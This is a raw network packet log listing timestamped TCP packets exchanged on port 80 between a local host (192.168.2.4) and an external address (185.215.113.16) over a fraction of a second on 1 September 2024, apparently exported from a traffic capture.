Sep 1, 2024 05:09:08.001245975 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001265049 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001265049 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001276016 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001285076 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001296043 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001310110 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001326084 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001449108 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001457930 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001466036 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001471043 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001478910 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001498938 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001540899 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001602888 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001612902 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001624107 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001631975 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001641035 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001648903 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001650095 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001657963 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001666069 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001673937 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001681089 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001683950 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001697063 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001705885 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001705885 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001713991 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001723051 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001724005 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001732111 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001740932 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001741886 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001749039 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001759052 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001765013 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001787901 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001804113 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002093077 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002142906 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002300024 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002310038 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002317905 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002326965 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002335072 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002341986 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002343893 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002352953 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002361059 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002362967 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002371073 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002383947 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002387047 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002393961 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002405882 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002440929 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002453089 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002463102 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002471924 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002480984 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002489090 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002497911 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002497911 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002537966 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002567053 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002650023 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002660036 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002669096 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002675056 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002679110 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002686977 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002696037 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002697945 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002705097 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002713919 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002720118 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002722979 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002748966 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002769947 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002780914 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002791882 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002799034 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002804041 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002809048 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.002823114 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002844095 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.002861023 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.003546953 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003556967 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003563881 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003568888 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003577948 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003586054 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003595114 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003599882 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.003613949 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.003633976 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.003703117 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003712893 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003722906 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003731012 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003739119 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003742933 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.003747940 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003756046 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003763914 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.003765106 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003793955 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.003808022 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.003835917 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003844976 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003853083 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003861904 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003870964 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003875017 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.003880024 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003887892 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003892899 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.003896952 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003923893 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.003933907 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.003985882 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.003995895 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004004955 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004017115 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004024982 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004024982 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004034042 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004043102 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004043102 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004051924 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004060030 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004067898 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004070997 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004076958 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004084110 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004086018 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004095078 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004105091 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004106998 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004118919 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004125118 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004129887 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004136086 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004138947 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004147053 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004156113 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004157066 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004164934 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004172087 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004180908 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004184961 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004190922 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004198074 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004201889 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004205942 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004206896 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004210949 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004225016 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004251003 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004256010 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004264116 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004271984 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004281044 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004288912 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004290104 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004297018 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004326105 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004339933 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004425049 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004435062 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004442930 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004451990 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004460096 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004463911 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004467964 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004477024 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004496098 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004503012 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004503012 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004503965 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004513025 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004522085 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004553080 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004565001 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004575968 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004584074 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004591942 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004600048 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004607916 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004609108 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.004630089 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.004654884 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005011082 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005023003 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005032063 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005039930 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005048990 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005062103 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005064011 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005093098 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005103111 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005171061 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005181074 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005189896 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005198956 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005208015 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005208969 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005217075 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005225897 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005228043 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005235910 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005243063 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005249977 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005254030 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005263090 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005268097 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005270004 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005280018 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005280018 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005299091 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005309105 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005310059 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005317926 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005326986 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005331039 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005335093 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005346060 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005354881 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005388975 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005462885 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005472898 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005481005 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005490065 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005498886 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005500078 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005507946 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005517960 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005523920 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005527020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005536079 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005546093 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005553961 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005553961 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.005578995 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005578995 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.005600929 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006175995 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006186008 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006195068 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006203890 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006211996 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006218910 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006222010 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006230116 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006238937 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006239891 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006262064 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006274939 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006284952 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006294966 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006304026 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006311893 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006320000 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006324053 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006350040 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006371975 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006450891 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006459951 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006469965 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006478071 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006486893 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006490946 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006495953 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006510019 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006541014 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006766081 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006776094 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006784916 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006793976 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006803036 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006803989 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006812096 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006820917 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006825924 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006829977 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006844044 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006851912 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006855011 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006860971 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006866932 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006895065 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006896019 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006906033 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006913900 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006923914 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006932020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006937027 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006941080 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006949902 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006958008 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006966114 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006970882 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.006989956 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.006999969 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.214274883 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.214366913 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.214570999 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.214632988 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.214724064 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.214732885 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.214741945 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.214751005 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.214782000 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.214828968 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.214885950 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.214900017 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.214937925 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215043068 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215051889 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215060949 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215065956 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215074062 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215082884 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215091944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215096951 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215101004 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215111017 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215120077 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215142012 CEST	49738	80	192.168.2.4	185.215.113.16
